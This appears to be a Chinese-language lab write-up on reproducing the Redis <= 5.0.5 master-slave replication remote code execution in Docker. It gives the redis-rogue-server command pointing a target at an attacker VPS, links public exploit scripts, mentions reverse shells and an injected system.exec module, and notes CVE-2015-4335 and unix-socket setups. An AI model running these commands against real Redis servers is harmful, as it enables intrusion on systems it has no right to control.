# Redis <= 5.0.5
python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443
一、前言
环境搭建
使用docker搭建好环境
docker pull damonevking/redis5.0
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
正常使用主从功能
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
假设Redis-1是在63791端口,Redis-2在63792端口,
我们让Redis-1当老大(Master),那么就在Redis-2上配置SLAVEOF [redis_ip] 63791即可
正常情况下,主节点能读能写;从节点作为“打工人”,自己只能读数据(主节点同步过来的),不能写数据。
二、漏洞复现****
漏洞利用的前提
Redis <= 5.0.5Redis服务未授权访问(bind 由127.0.0.1改为0.0.0.0,protected-mode为no)

具体步骤
具体实现上,有两种大同小异的姿势,分别如下:
**第一种方式,**使用https://github.com/n0b0dyCN/redis-rogue-server里面的脚本(不建议,反弹shell容易把环境搞崩)
直接指定漏洞地址即可。
有交互式的shell,或是反弹shell两种选择,

交互式的shell

反弹shell
值得指出的是,由于反弹shell的过程是阻塞的,猜测这个过程中Redis应该不能去做其它事情。

而且反弹shell这种利用方式真的不稳定,把Redis的docker搞崩了好多次。。。对应的代码在下面

第二种方式呢,采用https://github.com/LoRexxar/redis-rogue-server里面的脚本(建议,单纯的执行命令)
一样的命令
python redis-rogue-server.py --rhost [redis_ip] --rport=6379 --lhost [your_vps_ip] --lport 21000

值得注意的是,上面的这两种攻击方式,除了可以正常执行命令之外,还会在redis上定义了一个恶意函数system.exec,我们连接到Redis上就能直接用,见下图的效果

所以,如果你只是单纯地想验证漏洞,只用interactive shell就好啊。
三、SSRF场景下的主从RCE[ToDo]
等遇到对应的场景,再更新啦
- 要是Redis有密码时,该怎么办?
- 主从写webshell
TODO:https://xz.aliyun.com/t/8613
https://xz.aliyun.com/t/5665#toc-3
四、拓展阅读
Redis未授权的攻击面
()CVE-2015-4335:Redis EVAL Lua Sandbox Security Bypass Vulnerability
- Redis < 2.8.21
- Redis < 3.0.2
i.e. Redis 2.8.21 and 3.0.2 have been released to fix this issue.
Refs:
Build
docker pull redis:3.0.1
docker run -p 6379:6379 --name redis_3.0.1 redis:3.0.1
EXP
五、Q&A
遇到的问题,记录在这里
为什么执行config失败了

可能因为Redis禁用了命令,see https://blog.csdn.net/elesos/article/details/81280291

运行在Unix Socket下的Redis
- 其实,对于linux系统,如果redis客户端和服务端都在同一台服务器,可以使用
unix socket,不需要走TCP监听网络端口,使用后效果非常明显——用unixSocket的方式,速度至少提高一半。- 连接到Unix套接字上的Redis服务器的正确URL语法是
unix:///tmp/redis.sock
在官方文档中,有这么一段话
To use a UNIX socket instead, open up the file
/etc/redis.confand locate the line mentioning unixsocket. Replace it with the following:
在Redis的配置文件里配置就行啦。
连接方式:
redis-cli -s /tmp/redis.sock
运行在unix socket模式下的Redis,暂时还没有找到SSRF可以攻击的方案。(除非用类似于fopen这种句柄的方式来SSRF才有可能)
Refs
- Redis <= 5.0.5 主从复制 RCE · WgpSec POC文库
- https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
- https://www.chabug.org/web/669.html
- https://paper.seebug.org/975/
- https://yulegeyublog.oss-cn-beijing.aliyuncs.com/redis_post_4.jpg
此外,了解一下洞主,不玩推的独立安全研究员。(慕了慕了)
